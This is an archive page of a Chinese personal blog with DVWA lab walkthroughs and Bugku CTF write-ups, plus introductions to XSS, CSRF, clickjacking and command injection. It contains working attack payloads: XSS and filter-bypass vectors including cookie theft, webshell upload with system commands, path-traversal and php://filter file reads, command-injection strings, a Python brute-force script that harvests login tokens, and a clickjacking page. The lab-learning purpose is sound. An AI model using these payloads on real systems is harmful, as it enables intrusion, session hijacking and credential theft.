giun

  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

DVWA之xss

发表于 2019-03-14 | 分类于 DVWA

一、反射(reflected)型

(一)、尝试low等级
输入正常数字,返回以下内容
在这里插入图片描述
再输入<xss>发现,只输出了hello
在这里插入图片描述
我们使用火狐的开发者工具查看下元素
发现hello的后面是一对xss标签
在这里插入图片描述
我们进行弹窗测试
输入<script>alert(/xss/)</script>
发现弹窗,说明存在xss注入
在这里插入图片描述
介绍javaScript的3个弹窗函数
alert() ,confirm() ,prompt()
在这里插入图片描述
攻击者思路
在这里插入图片描述
攻击者web设计
在这里插入图片描述
构造估计的js脚本

document.location就是页面的内容定位到指定的位置,他会访问参数中的地址,参数里面写上刚刚新建的php文件的网址,document.cookie就是赋值给这个php的cookie参数,这个cookie值最终会出现在网站127.0.0.1/cookie.php中
在这里插入图片描述
构造并发送攻击url
在这里插入图片描述
这样子还不行还需要url编码
在这里插入图片描述最后劫持会话
修改cookie,修改为之前获取的cookie值。

(二)、尝试medium等级,
只要在<srcipt>标签中插入一个<script>即可,<src<srcipt>ipt>,因为他过滤了<sript>标签其他步骤与low等级一样。
(三)尝试high等级。
上面的方法都失效了,那么我们想到了img标签也是可以执行js代码的

<img src= x onerror=alert(1)>

在这里插入图片描述
使用iframe标签也可以成功注入<iframe onload=alert(1)>
说明只过滤了script标签
(四)impose等级
查看源码
在这里插入图片描述
发现htmlspecialchars函数
那么这是函数是干啥的呢?
可以把

 &过滤成&amp;
"过滤成&quto;
'过滤成&apos;
<过滤成&lt;
>过滤成&gt;

二、存储型(stored)反射

(一)、尝试low等级,
使用火狐浏览器开发者工具,发现name被限制为10个字符,message被限制为50个字符.这对我们xss注入是不够的。
在这里插入图片描述
那么我们就抓包发送name,message参数
成功绕过了限制
在这里插入图片描述
存储型的数据是存在数据库里,大家可以选择
setup/resetDB重置数据库,清楚数据
(二)尝试medium等级
发现name过滤alert ,和script标签,message过滤了script标签。尝试script大小写发现无法弹窗
这个是部分源码
在这里插入图片描述
我们尝试iframe标签

txtName=<iframe onload=alert(/xss/)>&mtxMessage=<iframe src =1 onload=alert(/ss/)>&btnSign=Sign+Guestbook

在这里插入图片描述
发现name成功弹窗,但是message不行,不过没关系,可以进行xss注入

(三)、尝试high等级
和medium的方法一样,不同是high等级的message对< > “ & ‘进行了处理
(四)、尝试impose等级
查看源码
在这里插入图片描述
name和message都对< > \” & \’进行了过滤

三、DOM型XSS

(一)、尝试low等级
我们尝试注入

http://localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert(/hack/)</script>

在这里插入图片描述
成功进行注入,查看源码发现,没有任何保护措施
在这里插入图片描述
(二)、尝试medium等级
发现low等级的方法已经失效了,经过尝试可以发现,script标签被过滤了,过滤成English。
查看源码发现只过滤了script标签
在这里插入图片描述
那么我们尝试 下<img src= x onerror=alert(1)>
页面没有反应
查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,使用img标签没有发挥作用
在这里插入图片描述
我们尝试闭合option

`http://localhost/DVWA/vulnerabilities/xss_d/?default= ></option><img src= x onerror=alert(1)`>

发现还没没有闭合成功。
在这里插入图片描述
我们闭合用的><被闭合到option的值当中去了
。那么我们往更高一层的select标签闭合

http://localhost/DVWA/vulnerabilities/xss_d/?default=  ></option></select><img src=1 onerror=alert('hhh')>

成功注入
在这里插入图片描述
(三)、尝试high等级
尝试了一番之后没有结果
我们查看下源码,发现源码使用了白名单的方法,
在这里插入图片描述
那我们是不是可以使用#注入,第一次从本地写入,第二次刷新的时候执行我们注入的xss

http://localhost/DVWA/vulnerabilities/xss_d/?default=English#</option></select><BODY ONLOAD=alert(document.cookie)>

成功注入
在这里插入图片描述

(四)、impose等级

发现我们输入什么都会在客户端体现,查看源码
在这里插入图片描述
发现在客户端进行了保护。
在这里插入图片描述
这段代码的功能是
不会对URL输入进行URL编码过的内容再进行URL解码从而杜绝了DOM型XSS,这就是为什么我们输入什么就会在框中体现
在这里插入图片描述

file upload

发表于 2019-03-14 | 分类于 bugkuCTF

在这里插入图片描述

一、尝试low等级

我们上传一个phpinfo.php文件,文件内容为<?php echo pphpinfo()?>,
在这里插入图片描述
把路径拼接起来,输入

http://localhost/DVWA/hackable/uploads/phpinfo.php

成功获得执行我们上次的文件
在这里插入图片描述
我们再上传个一句话木马文件
然后直接尝试系统命令

http://localhost/DVWA/hackable/uploads/cmd.php
?cmd=system('net user');

在这里插入图片描述

二、尝试medium等级

上传一句话木马文件,发现报错,只支持jpeg和png格式的图片
在这里插入图片描述
那么我们抓包看看,上传成功和上传不成功的包有什么差别,然后就是不断的尝试,不端地把上传不成功的包与上传成功的不同之处改成和上传成功的包相同,然后重新发送,发现了破解的办法
上传cmd.php文件,然后把文件类型改为imag/jpeg,重新发送就可以了。
在这里插入图片描述
三、high等级
前面的方法都不能用了。尝试了文件后缀名和文件内容发现都失败了
在这里插入图片描述
那么我们就想到了”制作内涵图“,就是把文件和图片合并成一张图片
在cmd窗口下用命令结合

copy 1.jpg/b  +1.txt/a  2.jpg

结合成2.jpg
我们用编辑器打开,在文件末尾发现了我们的一句话木马
在这里插入图片描述

那既然传上去了,那么我们要怎么用呢
首先我们需要切换下服务器,切换成nginx
在这里插入图片描述
在phpini配置文件里把下面这个参数改为一,默认是1
在这里插入图片描述
然后输入http://localhost/DVWA//hackable/uploads/2.jpg/2.php即可上传
在这里插入图片描述

file includes

发表于 2019-03-14 | 分类于 bugkuCTF

一、前置知识

1、什么是文件包含
一种代码处理方法,函数如include,require等,参数是文件名。
2、文件包含漏洞
文件名的参数用户可控且过滤不严,被攻击者偷梁换柱
在这里插入图片描述

二、尝试low等级

打开文件包含题目会发现以下提示,我们找到php.ini配置文件(一般在安装目录里),把 allow_url_include的值改成on,然后重启phpstudy即可
The PHP function allow_url_include is not enabled
在这里插入图片描述
我们点击文件一、文件2、文件3、发现了下图的规律。
在这里插入图片描述
那么我们尝试下输入

http://localhost/DVWA/vulnerabilities/fi/?page=test.php

在这里插入图片描述
那么我们就可以利用这个漏洞了,输入

http://localhost/DVWA/vulnerabilities/fi/?page=..\..\php.ini

..\的意思是返回上一级目录。因为php.ini在DVWA目录下,所以使用..\..\
直接输出了这个文件的内容
在这里插入图片描述
那么问题又来了,读取其他目录的php脚本会怎样,显示内容还是执行php代码

输入

http://localhost/DVWA/vulnerabilities/fi/?page=..\..\phpinfo.php

在这里插入图片描述
这
说明了文件包含不仅仅显示内容还会执行文件。

那什么会执行远程文件吗?
我们再次尝试
在这里插入图片描述
在这里插入图片描述
可以执行并且非php文件里面只要包含php代码就可以执行

那么问题又来了。远程执行php文件和非php文件有什么差别吗?
当然有了,以上面的phpinfo.php和phpinfo.txt为例,进行说明
phpinfo.php是在攻击者的web服务器上执行,这毫无意义,我们期望的是在受害者的web服务器上执行,所以phpinfo.txt才是正解,(phpinfo.txt在受害者的web服务器上执行)

三、尝试medium等级

用low等级的方法发现依然成功。
但是他和low的等级有什么差别吗
差别在于它过滤了../而low的等级没有。
在这里插入图片描述
在这里插入图片描述
第一张图为low等级,第二张图为medium等级代码。
可以发现差别在于str_place()函数
他把我们传入的参数中的../和..\"替换成了空。
还有https://和http://替换成了空

那么medium等级的远程文件可以执行吗。
当然可以了
既然过滤了http://那么我们可以使用httphttp://://
如下图
在这里插入图片描述

四、high等级

我们尝试了medium等级的方法,进行本地文件执行发现以下错误
在这里插入图片描述
经常一番尝试发现只执行以file开头的文件
。那么这里就不得不提到file协议了

那么什么是files协议呢
就是文本传输协议,访问本地计算机中的文件

输入

http://localhost/DVWA/vulnerabilities/fi/?page=file://F:\php\PHPTutorial\WWW\DVWA\phpinfo.php

file://后面是本地路径,成功执行本地文件
在这里插入图片描述
也可以查看系统文件

http://localhost/DVWA/vulnerabilities/fi/?page=file://C:\windows\win.ini

在这里插入图片描述

那么怎样进行远程文件执行呢
medium方法不可以,
查看源码,
可知用fnmatch()函数限制参数文件的开头
在这里插入图片描述
进入impose等级
在这里插入图片描述
那么要如何远程执行呢,要就有把文件放在图片里,然后上传到web服务器,怎么把文件放在图片里这篇博客里的high等级部分说明了
在这里插入图片描述

Brute Force

发表于 2019-03-09 | 分类于 DVWA

一、 第一题

先从难度是low的开始。
我们尝试了下admin’# 直接把密码注释掉,
在这里插入图片描述
成功破解。
我们尝试下medium等级
还是尝试了下admin’#,发现密码错误,看来这个漏洞被防护了
在这里插入图片描述

首先我们抓包看下http请求头的信息,发现可以在http头部看到看到我们提交的账号密码,既然这样我们使用owasp zap 软件暴力破解。
在这里插入图片描述
这是我使用的字典,大家可以去百度搜索更多的字典
在这里插入图片描述
暴力成功破解出账号密码。
在这里插入图片描述
下面我们尝试high等级,发抓包发现多了个user_token(它的职责是保护用户的用户名及密码多次提交,以防密码泄露。)
且每一次的user_take会被记录到下一次请求头里的referrer里。这样上面的方法我们就不能使用了。
但是认真观察,我们可以发现第一次进登录页面是没有user_token,这就是突破口。那么就可以一直在登录界面和第一次登录进行破解。
还有一种思路是虽然加了user_token,但是并没有对尝试的次数进行限制,我们可以先获取user_token,然后用user_token加上用户密码验证身份。
我们使用python脚本自动化爆力破解(第二种思路)。

from bs4 import BeautifulSoup
import requests

header={
        'GET': 'http://localhost/DVWA/vulnerabilities/brute/ HTTP/1.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer':'http://localhost/DVWA/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8fbhto539r4fnjt4dduolvikj3; security=high',
        'Connection':'keep-alive',
        'Upgrade-Insecure-Requests':'1',
         'Host':'127.0.0.1'
        }
requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/"

def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token

user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
    requrl="http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    # 尝试次数
    if(i==20):
        break

在这里插入图片描述)

我们继续查看impose等级,发现输错3次就被限制15分钟无法登入。那么还有什么是可以防止暴力破解的呢?还有验证码。

command injection

发表于 2019-03-09 | 分类于 DVWA

一、什么是命令注入

1、概念
通过web应用程序在服务器上拼接系统命令。简单说就是注入的命令是系统命令,而注入是靠连接来完成的。
常见的windows命令:
ipconfig,查看本地网络
net user,查看系统用户
dir “./ ” 查看当前目录
等等
常见的命令拼接符有&&, & ,|, ||

。

二、尝试low等级

输入127.0.0.1发现输出的内容就是在cmd执行ping命令的结果,也就是说它调用了系统命令,于是我们尝试下
输入127.0.0.1 & net user注入成功
在这里插入图片描述

三、尝试medium等级

在这里插入图片描述

四、尝试下high等级

在这里插入图片描述
发现注入,那么我们采用 | 连接,发现注入成功
在这里插入图片描述
我们查看源码,发现了原因
在这里插入图片描述

五、尝试下impose等级

在这里插入图片描述
发现它现在了我们的IP格式,这就是所谓的白名单,可以有效的防止命令注入。不推荐黑名单,应该可以通过双引号,略过黑名单。linux下还支持单引号

在这里插入图片描述
如果不输出显示结果怎么办
在这里插入图片描述

bugku 12-16 write up(web)

发表于 2019-03-09 | 分类于 bugkuCTF

一、第12题(头等舱)

先尝试火狐浏览器的开发者工具,发现响应头为136字节,可是参数确说有139字节,隐藏了3个字节
在这里插入图片描述
那么我们使用burp suit 抓包,然后使用repeater功能,go一下发现flag(flag即为隐藏的字节)
在这里插入图片描述

二、第13题(网站被黑)

首先,根据域名和网页提示,我们需要找到网站后台。我们使用御剑工具直接扫除后台
在这里插入图片描述
成功扫出网站后台
在这里插入图片描述进入网站后台,尝试了一些admin,password常用的密码之后,发现登入不了。
在这里插入图片描述
我们使用burp suite,爆破功能进行爆破
在这里插入图片描述
扫出密码为hack,输入密码即可得到flag

三、第14题(管理员系统)

使用火狐浏览器开发者工具查看源码
发现有段加密的base64代码
在这里插入图片描述
解密后为test123,题目又提示,IP禁止访问,请联系本地管理员登陆,IP已被记录.。那么我们就给header添加个X-Forwarded-For: 127.0.0.1参数。
在这里插入图片描述

四、第15题(web4)

观察源码发现,有一堆utf-8加密的字符,那么我们进行utf-8解密
在这里插入图片描述
这个是解密后的结果
在这里插入图片描述
观察eval函数语句可知,我们应该输入,p1+54aa2+p2的值,输入果然得出flag

五、第十六题(flag在index里)

在这里插入图片描述
点击进去。
发现这是个文件包含漏洞
在这里插入图片描述
那么我们采用PHP伪协议,
输入http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php会发现出现了base64代码。
在这里插入图片描述
进行解码得到index.php的源码,发现flag被注释掉这就是我们为什么要使用base64编码输出的原因。

<html>
    <title>Bugku-ctf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码

本题参考这篇博客解答:https://blog.csdn.net/zpy1998zpy/article/details/80585443

bugku 1~11题 write up(web)

发表于 2019-03-06 | 分类于 bugkuCTF

一、第一题(web2)

查看源代码,查找flag,即可得出flag。

二、第二题(计算器)

在这里插入图片描述
输入163,发现只能输入一位数。位数被限制了。我们使用火狐浏览器的开发者工具(F12)调出来。定位到输入框的位置。发现
在这里插入图片描述
最大位数被限制了,把1改成3即可得出flag。

三、第三题(web基础$_GET)

打开题目发现是PHP代码,阅读代码可知,我们在URL中传入参数?what=flag即可得出flag

四、第四题(web基础$_POST)

打开题目发现是PHP代码,阅读代码可知,需要使用POST方式传值。
使用火狐浏览器的hackbar插件,如图
在这里插入图片描述

五、第五题(矛盾)

先介绍下is_numeric()函数:
is_numeric() 函数用于检测变量是否为数字或数字字符串。
PHP 版本要求:PHP 4, PHP 5, PHP 7
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

分析代码,可知,num必须==1,但是又不能是数字或者是数字字符串。
==又表示只要值相等就可以了。那么我们可以在输入num=1XXX,xxx表示非数字。
在这里插入图片描述

六、第六题(web3)

1、进入题目发现一直在弹窗,点了几遍确定后感觉被耍了。
2、阻止弹窗查看源码。发现flag在最后一行的alert标签里。且被注释掉
3、发现flag是&#x类型的,这是unicode编码。不知道也没事,百度下就可以知道
4、百度搜索unicode在线解码,就可以得出flag。

七、第七题(域名解析)

看到题目域名解析我们就要想到hosts文件。
我们打开hosts文件
hosts文件位置C:\Windows\System32\drivers\etc
在文件末尾加入123.206.87.240 flag.baidu.com
在这里插入图片描述
在浏览器中输入flag.baidu.com或者123.206.87.240 即可得出flag
在这里插入图片描述

八、第八题(必须让他停下来)

打开题目发现一直在刷新,
观察源码,发现flag应该在图片刷出来的时候出现。我们使用burp suit进行抓包放包,经过了j几次(GO)操作之后,我们发现了flag.

九、第九题本地包含

观察代码发现flag.php被隐藏起来了。
尝试下传入参数?hello=hello,发现hello在下面代码中体现
在这里插入图片描述
这样我们就可以直接传入参数输出flag.php文件的内容,发现flag。
传入的参数是?hello=file(“flag.php”)
在这里插入图片描述

十、第十题(变量1)

在这里插入图片描述
观察源码发现代码最后一行有个可变变量。
在这里插入图片描述
我们让args=GLOBALS 全局数组变量

因为$args=GLOBALS 又var_dump($$args) ,所以和前面那个$ ,组成$GLOBALS
flag变量又在$GLOBALS中,var_dump  eval  成功得到flag

在这里插入图片描述

$GLOBALS介绍

  1. $GLOBALS['var']是外部的全局变量本身,在函数内部可以使用$GLOBALS数组调用
    2.作用域:Global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。     
    1. $GLOBALS超全局数组适用于任何地方

十一、第十一题(web5)

在这里插入图片描述
首先介绍下JSPFUCk
JSFuck(或为了避讳脏话写作 JSF*ck )是一种深奥的 JavaScript编程风格。以这种风格写成的代码中仅使用 [、]、(、)、! 和 + 六种字符。此编程风格的名字派生自仅使用较少符号写代码的Brainfuck语言。与其他深奥的编程语言不同,以JSFuck风格写出的代码不需要另外的编译器或解释器来执行,无论浏览器或JavaScript引擎中的原生 JavaScript 解释器皆可直接运行。鉴于 JavaScript 是弱类型语言,编写者可以用数量有限的字符重写 JavaScript 中的所有功能,且可以用这种方式执行任何类型的表达式。
简单地说,就是有人不想让自己的代码被别人认出来,用6种字符改造了自己的js代码

我们查看源码发现有一堆的 [、]、(、)、! 和 + ,把他们扔进浏览器控制台(火狐浏览器按F12打开控制台)进行调试,即可得出flag,记得要大写。

XSS和CSRF之介绍

发表于 2019-03-06 | 分类于 web

一、什么是XSS

全称:Cross Site Script
中文名称:跨站脚本
危害:盗取用户信息、钓鱼、制造蠕虫等

概念:
在这里插入图片描述

二、xss的分类

1、存储型
访问网站时,触发XSS
我们可以通过查看网页源代码的方式查看xss的触发点。

我们安装irebug(F12快捷件打开),利用该火狐插件来寻找注入点。

分析其攻击过程

但是xss脚本是怎样被黑客写入数据库呢
在这里插入图片描述
2、反射型
访问携带xss脚本的连接时触发xss

查看源码,寻找触发点

如何产生的呢(右边为xss源码)
在这里插入图片描述
分析攻击过程
在这里插入图片描述

存储型xss和反射型xss的区别
存储型xss是从数据库中提取xss的脚本内容
反射型xss是直接从url的内容中提取出xss的脚本的内容

3、DOM型
那什么是DOM呢,就是Document Object Model,即文档对象模型,它允许脚本(js)控制web的页面、窗口和文档。简单说DOM就是就是js操作html时的API(应用程序接口)

访问携带xss脚本的连接时触发xss

查看源码,了解触发点

分析原理
在这里插入图片描述

DOM型xss与反射型xss很类似,但是他们有什么区别呢
DOM型xss是通过前端javascript将xss脚本写入DOM中,触发xss

反射型xss是通过后端或应用程序将xss脚本写入响应页面中,浏览器响应页面时才触发xss

存储型xss漏洞演示

在这里插入图片描述
xss代码应该为<img src="a" onerror=alert(/hhhh/)>,
用管理员员登入后台,进入留言板会触发xss,出现弹窗内容为/xxxx/

反射型xss漏洞演示
我们写一个这样的脚本文件,命名为index.php

<?php 
header("content-type:text/html;charset=utf-8");
if(isset($_REQUEST["name"]))
{
     $name=$_REQUEST["name"];
}
else{
  $name = "";
}
echo "hhhhh ".$name;
?>

本地访问下
在这里插入图片描述
传入参数?name=<img src="a" onerror=alert(/hhhh/)>
alert()方法用于显示一条指定的消息和一个ok按钮的警告框
用qq浏览器尝试下,xss注入被浏览器拦截了,尴尬了
在这里插入图片描述

用火狐浏览器再次尝试,成功注入xss
在这里插入图片描述
查看源码即可发现注入位置
在这里插入图片描述
DOM型xss漏洞这边就不演示了

4、小结
在这里插入图片描述

三、CSRF是什么

全称:Cross-site request forgery

中文名称是:跨站请求伪造

危害:执行恶意操作(”被转账“、“被发垃圾评论”等)、制造蠕虫·······

概念:利用客户已经登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作

分析原理
在这里插入图片描述
那里面恶意的网站是怎么做的呢?

正常情况下:
通常Cookie中会存放用户凭证信息
浏览器在发送任何请求时都会带上已有的cookie
通过cookie识别用户身份后,执行转账操作。

黑客的操作:
伪造攻击代码,打开页面时自动完成转账
在这里插入图片描述

Clickjacking(点击劫持)

发表于 2019-03-06 | 分类于 web

一、前置知识

首先介绍下html下的iframe标签的作用:
可以创建包含另一个文档的内联框架。
例如下面这个代码。运行下面这个网页,发现他和网易安全中心的页面几乎一样,除了url不一样

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<head>
    <title>网易安全中心</title>
    <style >
        html,body,iframe{
            display: block;
            height: 100%;
            width: 100%;
            margin: 0;
            padding: 0;    
            border: none;    
        }
    </style>
</head>
<body>
    <iframe src="http://aq.163.com/module/hole/hole-submit.html"></iframe>
</body>
</html>

在这里插入图片描述
案例,图片的背后是隐藏的网站。
在这里插入图片描述

二、什么是点击劫持呢

通过覆盖不可见的框架误导受害者点击而造成的攻击行为。

三、点击劫持的特点

1、隐蔽性高

2、骗取用户操作

3、UI-覆盖攻击

4、利用了iframe标签或者其他标签的属性

四、实例分析

代码如下,效果如下

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<head>
    <title>点击劫持</title>
    <style >
    /*设置高度、宽度*/
        html,body,iframe{
                display: block;
                height: 100%;
                width: 100%;
                margin: 0;
                padding: 0;    
                border: none;
                }
    /*设置隐藏网页的可见度*/
        iframe{
            /*opacity: 0;*/
            filter: alpha(opacity=0);/*IE*/
            -moz-opacity:0.5;/*Moz+FF*/
            opacity: 0.5;/*支持css3浏览器(FF1.5也支持)*/
            position: absolute;
            z-index: 2;/*网页的堆叠层次*/
        }
    /*设置按钮的位置*/
        button{
            position: absolute;
            top: -70px;
            left: 800px;
            z-index: 1;
            width: 72px;
            height: 26px;
        }    
    </style>
</head>
<body>
    <button><img src="3.jpg"></button>
    <iframe src="http://aq.163.com/module/hole/hole-submit.html"></iframe>
</body>
</html>

在这里插入图片描述
再做次修改
在这里插入图片描述
效果,以及完全看不出背后的网易网页了。
在这里插入图片描述

URL跳转、命令注入、文件操作类漏洞介绍

发表于 2019-03-06 | 分类于 web

一、什么是URL跳转漏洞呢

借助未验证的URL跳转,将应用程序引导到不安全的第三方区域,从而导致的安全问题。

二、实现方式

1、Header头跳转
实现代码
在这里插入图片描述
2、javascript跳转
实现代码
在这里插入图片描述
3、meta跳转
在这里插入图片描述

三、原理分析

在这里插入图片描述

四、什么是命令注入

系统命令注入

五、web应用如何注入命令

在这里插入图片描述
PHP执行命令的注入
在这里插入图片描述
例如
在这里插入图片描述
分析攻击过程
在这里插入图片描述

六、常见的文件操作

在这里插入图片描述

七、常见的文件操作漏洞

1、文件上传漏洞
在这里插入图片描述
2、任意文件下载漏洞
在这里插入图片描述
在这里插入图片描述
3、文件包含漏洞
在这里插入图片描述
文件包含漏洞包括本地文件包含和远程文件包含
在这里插入图片描述

1…345
wr

wr

47 日志
10 分类
6 标签
© 2020 wr
由 Hexo 强力驱动 v3.8.0
|
主题 – NexT.Gemini v7.0.0
|
0%